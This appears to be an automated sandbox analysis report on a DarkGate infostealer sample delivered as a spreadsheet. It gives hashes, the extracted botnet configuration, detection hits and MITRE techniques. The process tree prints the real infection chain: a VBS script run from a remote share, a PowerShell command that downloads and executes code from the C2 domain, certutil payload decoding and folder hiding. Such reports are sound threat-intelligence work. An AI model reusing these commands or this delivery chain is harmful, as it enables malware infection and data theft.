darkgate | 79ebb9f1d447cc3aa7a757366b3deec702d0659209059800b9f553adb45e6161

Analysis

max time kernel
135s
max time network
136s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
15-03-2024 19:47

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General

Target

ACH-5634-15March.xlsx
Size

48KB
MD5

ee31ad80a97f3f17db35d8add92e3396
SHA1

16bcf433568390b8ca3d2190eac5a66d4828aab9
SHA256

79ebb9f1d447cc3aa7a757366b3deec702d0659209059800b9f553adb45e6161
SHA512

2df8814928f5f0983f54694db1bb2337e15990fb2d90438b99763844e763009a7ff65c0fbe9491aea5e3dda458aaf60ef909bc3b74d2798aee02dabdbc7268cb
SSDEEP

768:ZFlppbq6i4Y/TJC4xJMxXcvFLwAPq4Sxv9PvEgzegYN1T/r:tLq94YV7JMxXyd4x+gzexTj

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

diveupdown.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
VfiPBBhr
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral3/memory/2624-66-0x00000000031C0000-0x0000000003233000-memory.dmp	family_darkgate_v6
behavioral3/memory/2624-68-0x00000000031C0000-0x0000000003233000-memory.dmp	family_darkgate_v6

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4804	1444	WScript.exe	79

Blocklisted process makes network request 4 IoCs

flow	pid	Process
16	1416	powershell.exe
18	1416	powershell.exe
19	1416	powershell.exe
20	1416	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2624	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1444	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1416	powershell.exe
1416	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1416	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE
1444	EXCEL.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1444 wrote to memory of 4804	1444	EXCEL.EXE	83
PID 1444 wrote to memory of 4804	1444	EXCEL.EXE	83
PID 4804 wrote to memory of 1416	4804	WScript.exe	84
PID 4804 wrote to memory of 1416	4804	WScript.exe	84
PID 1416 wrote to memory of 2364	1416	powershell.exe	86
PID 1416 wrote to memory of 2364	1416	powershell.exe	86
PID 1416 wrote to memory of 2624	1416	powershell.exe	87
PID 1416 wrote to memory of 2624	1416	powershell.exe	87
PID 1416 wrote to memory of 2624	1416	powershell.exe	87
PID 1416 wrote to memory of 1924	1416	powershell.exe	88
PID 1416 wrote to memory of 1924	1416	powershell.exe	88

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1924	attrib.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ACH-5634-15March.xlsx"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1444
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\147.182.156.154\share\EXCEL_DOCUMENT_OPEN.XLSX.vbs"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'diveupdown.com/uyvbjbho')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1416
  - - C:\Windows\system32\certutil.exe
      "C:\Windows\system32\certutil.exe" -decodehex a.bin AutoHotkey.exe
      4⤵
      PID:2364
  - - C:\fpcg\AutoHotkey.exe
      "C:\fpcg\AutoHotkey.exe" script.ahk
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:2624
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:/fpcg
      4⤵
      Views/modifies file attributes
      PID:1924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jmfju04c.sal.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\fpcg\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

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C:\fpcg\a.bin

Filesize
1.7MB

MD5
bf88d228baec74c7928df463db0f0fdc

SHA1
efe1657bb9a9a31742b71d8c14bae89b2ab5533b

SHA256
493099b55ea0da872d3b9855c5a60752833e737be547ebc5328caea2bf0542ed

SHA512
c247a0dbba9971a8949729f888a4d8b10ca188b6fabedb9d1fe9cc7907cc4d807e66f3367ca287bf1e4062c342cbb7a724a9cc168018f55bc187e04897c8bdfa

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C:\fpcg\script.ahk

Filesize
52KB

MD5
3433308fb4cfbf4754f37f8429cca3f6

SHA1
a98c60ac207b30e015fa970059cd3d6af5aad11f

SHA256
bf1bdcce4d86d8fce80f359f1a871c1bc70e29b3fcdff1d2ac70570ecf5a1bdc

SHA512
0cc02989002194d4e86dd2452b552360a4472d72e261921cf2b13ab50523d789732b5b677c664ae73c5751180665417b349c3c424c41fb0d27026bc7f8f9b3cf

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C:\fpcg\test.txt

Filesize
916KB

MD5
a7c06b0255856bae512a0f174891d74f

SHA1
801b8ea8a27641fcfee78af6eff906052149054c

SHA256
3816103d61866097c2f216a4668b633ce126ad18da77b3b6c87ac24382f70929

SHA512
5d586cb80b3116d002c81b4df7aa449cd6fae454d03812eee3dd72de4e0806035d01bc4fcf16130f35ebfe5707c2d11e9453f8eb66f778a7729dc94bbfbd4cd6

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memory/1416-51-0x000001D05BDC0000-0x000001D05BDD0000-memory.dmp

Filesize
64KB

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memory/1416-53-0x000001D05BDC0000-0x000001D05BDD0000-memory.dmp

Filesize
64KB

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memory/1416-52-0x000001D05BDC0000-0x000001D05BDD0000-memory.dmp

Filesize
64KB

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memory/1416-63-0x00007FFA6F780000-0x00007FFA70242000-memory.dmp

Filesize
10.8MB

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memory/1416-50-0x00007FFA6F780000-0x00007FFA70242000-memory.dmp

Filesize
10.8MB

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memory/1416-49-0x000001D05C540000-0x000001D05C702000-memory.dmp

Filesize
1.8MB

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memory/1416-48-0x000001D05BDC0000-0x000001D05BDD0000-memory.dmp

Filesize
64KB

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memory/1416-46-0x000001D05BDC0000-0x000001D05BDD0000-memory.dmp

Filesize
64KB

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memory/1416-47-0x000001D05BDC0000-0x000001D05BDD0000-memory.dmp

Filesize
64KB

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memory/1416-45-0x000001D05BED0000-0x000001D05BEF2000-memory.dmp

Filesize
136KB

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memory/1416-41-0x00007FFA6F780000-0x00007FFA70242000-memory.dmp

Filesize
10.8MB

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memory/1444-11-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-12-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-18-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-20-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-19-0x00007FFA57150000-0x00007FFA57160000-memory.dmp

Filesize
64KB

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memory/1444-21-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-22-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-23-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-24-0x00007FFA98260000-0x00007FFA9831D000-memory.dmp

Filesize
756KB

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memory/1444-32-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-16-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-15-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-14-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-17-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-13-0x00007FFA57150000-0x00007FFA57160000-memory.dmp

Filesize
64KB

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memory/1444-0-0x00007FFA59430000-0x00007FFA59440000-memory.dmp

Filesize
64KB

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memory/1444-10-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-5-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-9-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-7-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-8-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-6-0x00007FFA59430000-0x00007FFA59440000-memory.dmp

Filesize
64KB

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memory/1444-4-0x00007FFA59430000-0x00007FFA59440000-memory.dmp

Filesize
64KB

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memory/1444-2-0x00007FFA59430000-0x00007FFA59440000-memory.dmp

Filesize
64KB

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memory/1444-3-0x00007FFA993A0000-0x00007FFA995A9000-memory.dmp

Filesize
2.0MB

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memory/1444-1-0x00007FFA59430000-0x00007FFA59440000-memory.dmp

Filesize
64KB

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memory/2624-66-0x00000000031C0000-0x0000000003233000-memory.dmp

Filesize
460KB

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memory/2624-68-0x00000000031C0000-0x0000000003233000-memory.dmp

Filesize
460KB

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